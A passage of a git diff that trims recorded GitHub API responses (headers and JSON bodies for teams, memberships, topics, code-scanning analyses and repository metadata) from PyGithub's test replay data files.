'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"843001aba6d35f27320c0788c9ff64b1"'), ('date', 'Sat, 26 May 2012 21:14:39 GMT'), ('content-type', 'application/json; charset=utf-8')] {"permission":"pull","members_count":0,"url":"https://api.github.com/teams/189850","repos_count":0,"name":"Name edited by PyGithub","id":189850} - diff --git a/tests/ReplayData/Team.testGetTeams.txt b/tests/ReplayData/Team.testGetTeams.txt index 80c7804aa3..3cef18aac4 100644 --- a/tests/ReplayData/Team.testGetTeams.txt +++ b/tests/ReplayData/Team.testGetTeams.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '150'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"43d7c883d1cb7d50a08d2c189550023c"'), ('date', 'Sun, 27 May 2012 05:13:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"name":"DummyTeam1","id":189851,"parent":{"name":"Team created by PyGithub","id":189850}},{"name":"DummyTeam2","id":189852,"parent":{"name":"Team created by PyGithub","id":189850}},{"name":"DummyTeam3","id":189853,"parent":{"name":"Team created by PyGithub","id":189850}}] - diff --git a/tests/ReplayData/Team.testTeamMembership.txt b/tests/ReplayData/Team.testTeamMembership.txt index c0e6a5775c..bea3e5f9d8 100644 --- a/tests/ReplayData/Team.testTeamMembership.txt +++ b/tests/ReplayData/Team.testTeamMembership.txt @@ -74,4 +74,3 @@ None 200 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:55 GMT')] {"url":"https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6","state":"active","role":"member","user":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":15225059,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"organization":{"issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","description":null,"public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","url":"https://api.github.com/orgs/BeaverSoftware","events_url":"https://api.github.com/orgs/BeaverSoftware/events","avatar_url":"https://avatars0.githubusercontent.com/u/1553906?v=4","node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM5MDY=","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","login":"BeaverSoftware","id":1553906,"hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks"},"organization_url":"https://api.github.com/orgs/BeaverSoftware"} - diff --git a/tests/ReplayData/Tool.setUp.txt b/tests/ReplayData/Tool.setUp.txt index e7add3d309..6544b77a21 100644 --- a/tests/ReplayData/Tool.setUp.txt +++ b/tests/ReplayData/Tool.setUp.txt @@ -30,5 +30,3 @@ null 200 [('content-length', '1143'), ('x-runtime-rack', '0.035038'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"5f005737679e3703efce7e706ad4fe72"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D3C7:2058:1F1200E:4D1FC03:5A374B66'), ('last-modified', 'Mon, 18 Dec 2017 01:31:56 GMT'), ('date', 'Mon, 18 Dec 2017 05:00:22 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] [{"ref":"refs/heads/main","commit_sha":"d99612c3e1f2970085cfbaeadf8f010ef69bad83","analysis_key":".github/workflows/codeql-analysis.yml:analyze","environment":"{\"language\":\"python\"}","error":"","category":".github/workflows/codeql-analysis.yml:analyze/language:python","created_at":"2020-08-27T15:05:21Z","results_count":17,"rules_count":49,"id":201,"url":"https://api.github.com/repos/octocat/hello-world/code-scanning/analyses/201","sarif_id":"6c81cd8e-b078-4ac3-a3be-1dad7dbd0b53","tool":{"name":"CodeQL","guid":null,"version":"2.4.0"},"deletable":true,"warning":""}] - - diff --git a/tests/ReplayData/Topic.setUp.txt b/tests/ReplayData/Topic.setUp.txt index 92a938a8a3..388cf5c850 100644 --- a/tests/ReplayData/Topic.setUp.txt +++ b/tests/ReplayData/Topic.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 09 Oct 2019 20:35:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '10'), ('X-RateLimit-Remaining', '8'), ('X-RateLimit-Reset', '1570653381'), ('Cache-Control', 'no-cache'), ('X-GitHub-Media-Type', 'github.mercy-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6D0E:2F82:4C1DED:8F5E09:5D9E4493')] {"total_count":30,"incomplete_results":false,"items":[{"name":"python","display_name":"Python","short_description":"Python is a dynamically typed programming language.","description":"Python is a dynamically typed programming language designed by Guido van Rossum. Much like the programming language Ruby, Python was designed to be easily read by programmers. Because of its large following and many libraries, Python can be implemented and used to do anything from webpages to scientific research.","created_by":"Guido van Rossum","released":"February 20, 1991","created_at":"2016-12-07T00:07:02Z","updated_at":"2019-10-09T20:33:49Z","featured":true,"curated":true,"score":7576.306},{"name":"django","display_name":"Django","short_description":"Django is a web application framework for Python.","description":"Django is a web application framework for Python. It is designed to prioritize principles of reusability and rapid development.","created_by":"Adrian Holovaty, Simon Willison","released":"21 July 2005","created_at":"2017-01-31T20:40:48Z","updated_at":"2019-10-09T20:23:15Z","featured":true,"curated":true,"score":595.4404},{"name":"flask","display_name":"Flask","short_description":"Flask is a web framework for Python based on the Werkzeug toolkit.","description":"Flask is a web framework for Python, based on the Werkzeug toolkit.","created_by":"Armin Ronacher","released":"April 1, 2010","created_at":"2016-12-25T23:31:26Z","updated_at":"2019-10-09T19:46:51Z","featured":true,"curated":true,"score":421.1786},{"name":"python-script","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T22:02:14Z","updated_at":"2019-10-01T04:14:22Z","featured":false,"curated":false,"score":281.18207},{"name":"python36","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-01T23:01:53Z","updated_at":"2019-09-21T01:04:39Z","featured":false,"curated":false,"score":278.21628},{"name":"opencv-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-03T23:16:55Z","updated_at":"2019-10-05T19:20:25Z","featured":false,"curated":false,"score":277.7204},{"name":"ruby","display_name":"Ruby","short_description":"Ruby is a scripting language designed for simplified object-oriented programming.","description":"Ruby was developed by Yukihiro \"Matz\" Matsumoto in 1995 with the intent of having an easily readable programming language. It is used by the Rails framework to create dynamic web-applications. Ruby's syntax is similar to that of Perl and Python.","created_by":"Yukihiro Matsumoto","released":"December 21, 1995","created_at":"2016-11-28T22:03:59Z","updated_at":"2019-10-09T19:48:54Z","featured":true,"curated":true,"score":275.5379},{"name":"python-library","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T21:48:51Z","updated_at":"2019-10-08T23:36:08Z","featured":false,"curated":false,"score":261.92603},{"name":"scikit-learn","display_name":"scikit-learn","short_description":"scikit-learn is a Python module for machine learning.","description":"scikit-learn is a widely-used Python module for classic machine learning. It is built on top of SciPy.","created_by":"David Cournapeau","released":"January 05, 2010","created_at":"2017-01-31T21:47:19Z","updated_at":"2019-10-09T19:48:58Z","featured":true,"curated":true,"score":219.94424},{"name":"python37","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-09-23T08:49:36Z","updated_at":"2019-09-21T01:04:46Z","featured":false,"curated":false,"score":193.36407},{"name":"selenium-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-06-26T19:02:26Z","updated_at":"2019-09-26T07:00:36Z","featured":false,"curated":false,"score":139.28319},{"name":"sublime-text","display_name":"Sublime Text","short_description":"A cross-platform source code editor with a Python API.","description":"A sophisticated text editor for code, markup and prose.\nIt has many powerful features for file and project navigation, build systems, integration with other tools and customization in the form of plugins, themes, and syntax styles.","created_by":"Jon Skinner, Sublime HQ Pty Ltd","released":"January 18, 2008","created_at":"2017-01-31T21:46:43Z","updated_at":"2019-10-09T18:41:58Z","featured":false,"curated":true,"score":137.15933},{"name":"leetcode-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-23T02:45:43Z","updated_at":"2019-09-26T07:00:33Z","featured":false,"curated":false,"score":135.47691},{"name":"learning-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T21:48:06Z","updated_at":"2019-09-26T07:00:38Z","featured":false,"curated":false,"score":133.5331},{"name":"tkinter-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-12-03T11:05:03Z","updated_at":"2019-09-21T07:52:50Z","featured":false,"curated":false,"score":114.56412},{"name":"python35","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-01T23:01:48Z","updated_at":"2019-07-16T10:23:26Z","featured":false,"curated":false,"score":110.58241},{"name":"machinelearning-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2018-04-05T05:04:13Z","updated_at":"2019-10-06T06:07:15Z","featured":false,"curated":false,"score":107.01233},{"name":"python-flask","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-03T17:08:17Z","updated_at":"2019-09-26T07:00:42Z","featured":false,"curated":false,"score":95.38638},{"name":"python-package","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-08T20:03:49Z","updated_at":"2019-10-07T23:32:33Z","featured":false,"curated":false,"score":89.152504},{"name":"python-telegram-bot","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-01T10:35:51Z","updated_at":"2019-07-16T10:23:34Z","featured":false,"curated":false,"score":88.10426},{"name":"python-wrapper","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T23:11:56Z","updated_at":"2019-07-16T10:23:29Z","featured":false,"curated":false,"score":85.25486},{"name":"python3-6","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-04-04T03:37:08Z","updated_at":"2019-07-16T10:23:31Z","featured":false,"curated":false,"score":85.05672},{"name":"opencv3-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-05-27T14:02:09Z","updated_at":"2019-09-11T11:41:26Z","featured":false,"curated":false,"score":77.88265},{"name":"hackerrank-python","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-03T11:31:38Z","updated_at":"2019-07-16T10:23:37Z","featured":false,"curated":false,"score":77.88265},{"name":"python-api","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-01T06:57:54Z","updated_at":"2019-09-19T00:43:28Z","featured":false,"curated":false,"score":76.52807},{"name":"python2-7","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-04T21:58:13Z","updated_at":"2019-07-16T10:23:38Z","featured":false,"curated":false,"score":76.32909},{"name":"pythonista","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-01-31T21:45:53Z","updated_at":"2019-09-12T11:21:27Z","featured":false,"curated":false,"score":73.33462},{"name":"haxe","display_name":"Haxe","short_description":"A metalanguage resembling ECMAScript which can be transpiled into a variety of languages.","description":"A language resembling ECMAScript much which can be transpiled into ActionScript3, JavaScript, Java, C++, C#, PHP, Python, and Lua.","created_by":"Nicolas Cannasse, Haxe Foundation","released":"2005","created_at":"2017-01-31T22:12:57Z","updated_at":"2019-09-21T01:01:40Z","featured":false,"curated":true,"score":72.71997},{"name":"python-requests","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-03T07:19:24Z","updated_at":"2019-07-16T10:23:43Z","featured":false,"curated":false,"score":71.219284},{"name":"python-2-7","display_name":null,"short_description":null,"description":null,"created_by":null,"released":null,"created_at":"2017-02-02T19:25:09Z","updated_at":"2019-07-16T10:23:40Z","featured":false,"curated":false,"score":71.11855}]} - diff --git a/tests/ReplayData/Traffic.setUp.txt b/tests/ReplayData/Traffic.setUp.txt index e0c04edb0c..d85c0170da 100644 --- a/tests/ReplayData/Traffic.setUp.txt +++ b/tests/ReplayData/Traffic.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 18:37:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1543779296'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"f9e6d36183888f8f7004d148eb3ac044"'), ('Last-Modified', 'Tue, 27 Nov 2018 19:00:14 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F7B7:56B4:1217044:263CACA:5C042677')] {"id":159384744,"node_id":"MDEwOlJlcG9zaXRvcnkxNTkzODQ3NDQ=","name":"PyGithub","full_name":"jkufro/PyGithub","private":false,"owner":{"login":"jkufro","id":24628687,"node_id":"MDQ6VXNlcjI0NjI4Njg3","avatar_url":"https://avatars2.githubusercontent.com/u/24628687?v=4","gravatar_id":"","url":"https://api.github.com/users/jkufro","html_url":"https://github.com/jkufro","followers_url":"https://api.github.com/users/jkufro/followers","following_url":"https://api.github.com/users/jkufro/following{/other_user}","gists_url":"https://api.github.com/users/jkufro/gists{/gist_id}","starred_url":"https://api.github.com/users/jkufro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jkufro/subscriptions","organizations_url":"https://api.github.com/users/jkufro/orgs","repos_url":"https://api.github.com/users/jkufro/repos","events_url":"https://api.github.com/users/jkufro/events{/privacy}","received_events_url":"https://api.github.com/users/jkufro/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jkufro/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jkufro/PyGithub","forks_url":"https://api.github.com/repos/jkufro/PyGithub/forks","keys_url":"https://api.github.com/repos/jkufro/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jkufro/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jkufro/PyGithub/teams","hooks_url":"https://api.github.com/repos/jkufro/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jkufro/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jkufro/PyGithub/events","assignees_url":"https://api.github.com/repos/jkufro/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jkufro/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jkufro/PyGithub/tags","blobs_url":"https://api.github.com/repos/jkufro/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jkufro/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jkufro/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jkufro/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jkufro/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jkufro/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jkufro/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jkufro/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jkufro/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jkufro/PyGithub/subscription","commits_url":"https://api.github.com/repos/jkufro/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jkufro/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jkufro/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jkufro/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jkufro/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jkufro/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jkufro/PyGithub/merges","archive_url":"https://api.github.com/repos/jkufro/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jkufro/PyGithub/downloads","issues_url":"https://api.github.com/repos/jkufro/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jkufro/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jkufro/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jkufro/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jkufro/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jkufro/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jkufro/PyGithub/deployments","created_at":"2018-11-27T19:00:09Z","updated_at":"2018-11-27T19:00:14Z","pushed_at":"2018-12-02T17:41:01Z","git_url":"git://github.com/jkufro/PyGithub.git","ssh_url":"git@github.com:jkufro/PyGithub.git","clone_url":"https://github.com/jkufro/PyGithub.git","svn_url":"https://github.com/jkufro/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11767,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-01T07:01:06Z","pushed_at":"2018-12-02T11:35:58Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11536,"stargazers_count":2232,"watchers_count":2232,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":757,"mirror_url":null,"archived":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":757,"open_issues":57,"watchers":2232,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-01T07:01:06Z","pushed_at":"2018-12-02T11:35:58Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11536,"stargazers_count":2232,"watchers_count":2232,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":757,"mirror_url":null,"archived":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":757,"open_issues":57,"watchers":2232,"default_branch":"master"},"network_count":757,"subscribers_count":3} - diff --git a/tests/ReplayData/Traffic.testGetClones.txt b/tests/ReplayData/Traffic.testGetClones.txt index 